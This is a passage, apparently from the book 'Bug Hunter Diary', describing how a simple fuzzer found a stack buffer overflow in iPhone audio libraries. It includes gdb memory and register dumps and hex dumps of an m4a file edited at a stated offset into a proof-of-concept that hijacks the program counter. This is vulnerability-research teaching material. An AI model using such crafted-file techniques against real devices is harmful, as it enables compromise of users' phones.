Bug Hunter Diary

(gdb) x/12x 0x1301bfc0x1301bfc: 0x00000073 0x00000000 0x04000001 0x0400002d0x1301c0c: 0x00000000 0x73747328 0x00000063 0x000000000x1301c1c: 0x00000002 0x00000001 0x00000017 0x00000001The debugger output shows that the saved instruction pointerwas overwritten with the value 0x00000073. When the function tried toreturn to its caller function, the manipulated value was assigned to theinstruction pointer (pc register). Specifically, the value 0x00000072 wascopied into the instruction pointer instead of the file value 0x00000073due to the instruction alignment of the ARM CPU (instruction alignmenton a 16-bit or 32-bit boundary).My extremely simple fuzzer had indeed found a classic stack bufferoverflow in the audio libraries of the iPhone. I searched the testcasefile for the byte pattern of the debugger output and found thebyte sequence at file offset 500 in file40_2.m4a:000001f0h: 18 73 74 74 73 00 00 00 00 00 00 00 01 00 00 04 ; .stts...........00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -.......(stsc...00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; ................I then changed the underlined value above to 0x44444444 andnamed the new file poc.m4a:000001f0h: 18 73 74 74 44 44 44 44 00 00 00 00 01 00 00 04 ; .sttDDDD.........00000200h: 2D 00 00 04 00 00 00 00 28 73 74 73 63 00 00 00 ; -.......(stsc...00000210h: 00 00 00 00 02 00 00 00 01 00 00 00 17 00 00 00 ; ................I attached the debugger to mediaserverd again and opened the newpoc.m4a file in MobileSafari, which resulted in the following debuggeroutput:Program received signal EXC_BAD_ACCESS, Could not access memory.Reason: KERN_INVALID_ADDRESS at address: 0x44444444[Switching to process 77 thread 0xa20f]0x44444444 in ?? ()(gdb) info registersr0 0x6474613f 1685348671r1 0x393fc284 960479876r2 0xcb0 3248r3 0x10b 267r4 0x6901102 110104834r5 0x1808080 25198720r6 0x2 2r7 0x74747318 1953788696r8 0xf40100 15991040r9 0x817a00 8485376146 Chapter 8